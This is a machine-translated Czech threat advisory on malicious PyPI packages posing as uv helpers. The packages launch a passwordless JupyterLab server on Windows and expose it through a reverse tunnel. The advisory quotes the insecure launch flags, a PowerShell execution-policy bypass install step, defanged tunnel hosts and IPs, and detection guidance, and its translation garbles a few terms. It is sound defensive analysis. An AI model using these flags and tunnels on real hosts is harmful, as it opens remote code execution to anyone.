TL, DR
Shluk balíčků PyPI si vypůjčil název uv, rychlý a nesmírně populární správce balíčků Pythonu založený na Rustu, aby se vydávali za pomocníky UV. Nenabízejí téměř žádnou skutečnou funkcionalitu. Místo toho obsahují jen datový balíček pro Windows, který obstojí Server JupyterLab s vypnutým ověřováním a v pozdějších verzích jej publikuje na veřejném internetu prostřednictvím zpětného tunelu.
To je celý příběh v jednom řádku: název důvěryhodného nástroje jako lákadlo a JupyterLab jako engine pro vzdálené spouštění kódu. Server Jupyter spustí jakýkoli kód, který zadáte do not.ebook buňka; jedna spuštěná s prázdným tokenem a navázaná na každé síťové rozhraní je otevřený interpret, který může ovládat kdokoli, kdo má přístup k portu.
Sledujeme shluk jako Falešné UVDva zkoumané balíčky jsou moon-uv (0.0.1 – 0.0.16) a my-magic-uv-helper (0.0.1), publikovaný stejným operátorem a aktivní na PyPI v době analýzy.
| Ekosystém | PyPI |
| Balíčky | moon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1) |
| Cílená platforma | Windows |
| Základní chování | Neověřený server JupyterLab, publikovaný na internetu přes reverzní tunel |
| Zneužívány legitimní nástroje | UV, JupyterLab, cloudflared, Pinggy |
Lákadlo: jméno, kterému už důvěřujete
uv je jedním z nejčastěji instalovaných nástrojů Pythonu za poslední dva roky, takže „pomocník pro uv„je balíček, který vývojář nainstaluje bez váhání. FauxUV vynakládá svou důvěryhodnost výhradně na toto jméno. Balíčky obalují originální uv instalační program od Astralu – URL adresy v datové části odkazují na skutečné a renomované hostitele – takže rychlý pohled nevidí nic jiného než důvěryhodné odkazy. Žádný z balíčků ve skutečnosti nepřidává… uv funkčnost; název je celým převlekem.
JupyterLab jako engine RCE
Ústředním bodem datové části je spouštěč, který spouští JupyterLab po odstranění všech ochranných zábradlí:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Každý příznak odstraňuje ochranu a dodaný skript je dokonce anotuje (v původní čínštině): prázdný token „vypne kontrolu hesel a tokenů – připojit se může kdokoli.“ jupyterová laboratoř je legitimní IDE pro datovou vědu, ale neebook buňka záměrně spouští libovolný kód. Nakonfigurováno tímto způsobem a svázáno s 0.0.0.0, přestává být IDE a stává se neověřeným vzdáleným shellem na hostiteli – není potřeba žádný vlastní binární soubor malwaru, pouze mainstreamový nástroj namířený špatným směrem.
Dva podpůrné prvky to činí dosažitelným a opakovatelným:
- Spouštěč tiché instalace. Starší verze běží s PowerShellem - ExkurzePolicy Bypass přímo z setup.py on pip nainstalovat, v pozadí s potlačenými chybami, takže jádro vypadá normálně. Pozdější verze přesouvají stejný primitiv do pip-uv nástroj příkazového řádku – a zcela zrušte automatické spouštění při instalaci.
- Veřejný reverzní tunel. Server na 0.0.0.0 je stále dostupný pouze pro hostitele, kteří mohou směrovat na daný stroj. Dodávaný modul otevírá [Pinggy](https://pinggy.io/) SSH reverzní tunel, který přesměruje lokální port Jupyteru na veřejnou adresu, čímž toto omezení odstraní. Dodávaný skript také přenáší – zakomentovanou – alternativní cestu pomocí Cloudflare mraky vzplanuly a netsh port-proxy na Linode IP adresu, dokumentující stejný cíl prostřednictvím jiné infrastruktury.
Dohromady: nainstalujte balíček a hostitel s Windows nakonec spustí JupyterLab bez hesla a publikuje ho na otevřeném internetu.
Jak se FauxUV vyvíjel
Verze FauxUV se dodávaly rychle po sobě a spouštěcí bod datového zatížení se mezi nimi pohyboval – připomínka toho, že jedna označená verze jen zřídka vypráví celý příběh řádku balíčku.
| Fáze | verze | spoušť | Co to přidává |
|---|---|---|---|
| Instalační hook | moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 | setup.py při instalaci PIPu | uv install + PATH předpona |
| CLI runtime | moon-uv 0.0.5-0.0.13 | pip-uv příkaz | spouštěč JupyterLab bez hesla |
| Tunel | moon-uv 0.0.14-0.0.16 | pip-uv příkaz | aktivní reverzní tunel Pinggy |
Je pozoruhodné, že automatické spuštění během instalace bylo odstraněny v pozdějších, výkonnějších verzích – takže skener se aktivoval pouze během životního cyklu hooks by novější vydání ohodnotil jako méně riskantní, přesně obráceně.
Ukazatele kompromisu
Potvrzeno přečtením zdrojového kódu balíčku; koncové body označené komentáři jsou přítomny v souborech, ale analyzovaná verze je nespustí. Síťové indikátory jsou deaktivovány.
| Typ | Indikátor |
|---|---|
| Instalační příkaz | powershell -ExecutionPolicy Bypass načtení originálního instalačního programu UV v době instalace PIP |
| Vlajky JupyterLabu | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Zpětný tunel (aktivní) | free[.]pinggy[.]io:443 přesměrování místních 127.0.0.1:8888 |
| Tunelový hostitel (komentováno) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (komentováno) | 45[.]79[.]134[.]161 (Linode) přes netsh port-proxy |
| Perzistence | přidává na předponu %USERPROFILE%\.local\bin k uživatelské cestě PATH |
Behaviorální signály, na které stojí za to upozornit, nezávisle na těchto konkrétních řetězcích: a pip nainstalovat který se plodí powershell -ExecutionPolicy Bypassjakýkoli jupyter spuštění kombinování token = „“ s –ip=0.0.0.0a odchozí SSH do *.pinggy.io* od vývojáře nebo CI stroje.
Pozorované chování a původ
Tyto dva balíčky sdílejí autora a metodu: název důvěryhodného nástroje, hradlování pouze pro Windows, potlačení chyb při provádění na pozadí a spoléhání se na renomované nástroje, takže rychlý pohled vidí pouze renomované URL adresy. Zdroj obsahuje komentáře v čínštině, které jasně popisují bezpečnostní příznaky; v souboru je uvádíme jako pozorovatelná prohlášení, nikoli jako tvrzení o motivu. allow_origin hodnota a colab.bat název souboru odráží neformální pracovní postupy „sdílet můj lokální běhový modul“, které se používají pro Google Colab. Ať už je původ jakýkoli, výsledek v balíčku je stejný.
Dopad a pokyny pro obránce
Kdo je vystaven FauxUV. Vývojáři Windows a provozovatelé CI, kteří pip nainstalovat jeden z těchto balíčků. JupyterLab bez hesla na 0.0.0.0 je vzdálené spuštění kódu pro kohokoli, kdo má přístup k portu; tunel odstraňuje limit „kdo se k němu může dostat“. Server běží jako instalační uživatel a dědí soubory, tokeny a cloudové přihlašovací údaje tohoto uživatele.
Proč je snadné to přehlédnout. Každý síťový řetězec ukazuje na renomovaného hostitele – Astral, JupyterLab, mraky vzplanuly, Pinggy, Colab. Neexistuje žádný binární soubor malwaru k hashování ani žádný obfuskovaný blob k dekódování. Skenování založené na reputaci a signaturách toto podceňuje, a proto je otázka chování… Co instalace tohoto balíčku způsobí, že počítač udělá — je ten, kdo to chytí.
Vedení:
- Ošetřete jakoukoli dobu instalace powershell -ExecutionPolicy Bypass jako signál pro přerušení sestavení, bez ohledu na to, jakou URL adresu načte.
- Upozornění zapnuto jupyter spuštěno s prázdným tokenem a –ip=0.0.0.0; tato kombinace by se nikdy neměla objevit na pracovní stanici nebo běžci.
- Monitorování odchozího SSH k poskytovatelům tunelů (*.pinggy.io*, *.trycloudflare.com) z vývojářského a CI prostředí.
- instalovat uv z [oficiálního zdroje](https://docs.astral.sh/uv/) a buďte skeptičtí k „pomocným“ balíčkům třetích stran, které obalují nástroj, jehož instalace je již tak jednoduchá.
- Připnout a znovu zkontrolovat závislosti při upgradu – řádek balíčku může rozšiřovat novou funkci o jednotlivé verze.



